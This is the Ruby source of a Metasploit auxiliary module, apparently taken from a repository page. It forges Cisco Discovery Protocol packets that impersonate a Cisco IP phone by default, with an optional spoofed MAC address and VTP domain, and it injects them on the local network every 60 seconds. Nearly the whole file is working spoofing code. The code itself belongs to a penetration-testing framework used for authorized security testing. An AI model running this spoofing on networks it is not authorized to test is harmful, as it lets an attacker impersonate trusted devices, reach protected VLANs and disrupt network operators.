metasploit-framework/modules/auxiliary/spoof/cisco/cdp.rb

143 lines
4.2 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Capture
def initialize
super(
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
'Description' => 'This module sends Cisco Discovery Protocol (CDP) packets',
'Author' => 'Fatih Ozavci <viproy.com/fozavci>',
'License' => MSF_LICENSE,
'Actions' => [
['Spoof', { 'Description' => 'Sends CDP packets' }]
],
'DefaultAction' => 'Spoof'
)
register_options(
[
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
# XXX: this is not currently implemented
# OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
], self.class)
deregister_options('RHOST')
end
def setup
check_pcaprub_loaded
unless smac
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
end
open_pcap
close_pcap
end
def interface
@interface ||= datastore['INTERFACE'] || Pcap.lookupdev
end
def smac
@smac ||= datastore['SMAC'] || get_mac(interface)
end
def run
begin
open_pcap
@run = true
cdp_packet = build_cdp
print_status("Sending CDP messages on #{interface}")
while @run
capture.inject(cdp_packet.to_s)
Rex.sleep(60)
end
ensure
close_pcap
end
end
def build_cdp
cdp = ''
# CDP version
cdp << "\x02"
# TTL (180s)
cdp << "\xB4"
# checksum, empty for now
cdp << "\x00\x00"
# device ID
cdp << tlv(1, datastore['DEVICE_ID'])
# port ID
cdp << tlv(3, datastore['PORT'])
# TODO: implement this correctly
# capabilities = datastore['CAPABILITIES'] || "Host"
# CAPABILITIES
# define CDP_CAP_LEVEL1 0x40
# define CDP_CAP_FORWARD_IGMP 0x20
# define CDP_CAP_NETWORK_LAYER 0x10
# define CDP_CAP_LEVEL2_SWITCH 0x08
# define CDP_CAP_LEVEL2_SRB 0x04
# define CDP_CAP_LEVEL2_TRBR 0x02
# define CDP_CAP_LEVEL3_ROUTER 0x01
cdp << tlv(4, "\x00\x00\x00\x41")
# software version
cdp << tlv(5, datastore['SOFTWARE'])
# platform
cdp << tlv(6, datastore['PLATFORM'])
# VTP management domain
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
# random 1000-7000 power consumption in mW
cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))
# duplex
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
# VLAn query. TODO: figure out this field, use tlv, make configurable
cdp << "\x00\x0F\x00\b \x02\x00\x01"
# compute and replace the checksum
cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n')
# Build and return the final packet, which is 802.3 + LLC + CDP.
# 802.3
PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +
PacketFu::EthHeader.mac2str(smac) +
[cdp.length + 8].pack('n') +
# LLC
"\xAA\xAA\x03\x00\x00\x0c\x20\x00" +
# CDP
cdp
end
def tlv(t, v)
[ t, v.length + 4 ].pack("nn") + v
end
def compute_cdp_checksum(cdp)
num_shorts = cdp.length / 2
checksum = 0
remaining = cdp.length
cdp.unpack("S#{num_shorts}").each do |short|
checksum += short
remaining -= 2
end
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
checksum = (checksum >> 16) + (checksum & 0xffff)
checksum = ~((checksum >> 16) + checksum) & 0xffff
([checksum].pack("S*")).unpack("n*")[0]
end
end